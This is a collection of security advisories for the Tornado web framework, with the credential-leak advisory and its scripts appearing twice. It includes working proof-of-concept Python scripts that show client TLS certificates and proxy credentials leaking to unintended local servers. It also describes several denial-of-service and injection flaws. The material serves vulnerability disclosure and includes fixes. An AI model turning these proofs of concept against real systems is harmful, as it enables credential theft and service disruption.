        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters.

In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts.

Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see tornado.httputil.ParseMultipartConfig. It is also now possible to disable multipart/form-data parsing entirely if it is not required for the application.

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

The _parseparam function in Tornado's httputil.py is used to parse specific HTTP header values, such as those in multipart/form-data. This function uses an inefficient algorithm that repeatedly calls string.count() within a nested loop while processing quoted semicolons (e.g., param=";").

As a result, if an attacker sends a request with a large number of maliciously crafted parameters in a Content-Disposition header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period, leading to a Denial of Service (DoS).

Severity: High

Summary

The HTTPHeaders.add method in Tornado accumulates values using string concatenation when the same header name is repeated. Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity.

Given Tornado's single event loop architecture, a single maliciously crafted HTTP request can block the server's event loop for an extended period, causing a Denial of Service (DoS).

Severity: High if max_header_size has been increased from its default, low if it has its default value of 64KB.

Header injection and XSS via reason argument

Summary

The reason argument (used by both RequestHandler.set_status and tornado.web.HTTPError is designed to allow applications to pass custom "reason" phrases (the "Not Found" in HTTP/1.1 404 Not Found) to the HTTP status line (mainly for non-standard status codes). Vulnerabilities exist in Tornado versions prior to 6.5.3 if untrusted data is passed as the reason argument.

Details

In vulnerable versions, the supplied reason phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS).

Impact

• Type: Reflected Cross-Site Scripting (CWE-79) in default error page, or header injection (CWE-644)
• Actors: Remote attacker who can cause the application to raise HTTPError/set_status with an attacker-controlled reason (e.g., via query parameter used by developer).
• Effect: Execution of arbitrary JavaScript in victims' browsers when they view the error page — possible session token theft, CSRF escalation, UI spoofing, or other client-side attacks depending on context.
• Scope: Only applications that explicitly reflect untrusted input into reason are affected.

Mitigation

Aside from upgrading to Tornado 6.5.3 or newer, the vulnerability can be mitigated by not using untrusted data for the reason argument. In the intended use case the reason argument would generally be a string literal and not derived from user input. Also, the reason argument is rarely required (reason phrases are not used at all in HTTP/2) and can generally be omitted.

For a general-purpose error message in HTTPError, consider using the log_message argument instead of reason.

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)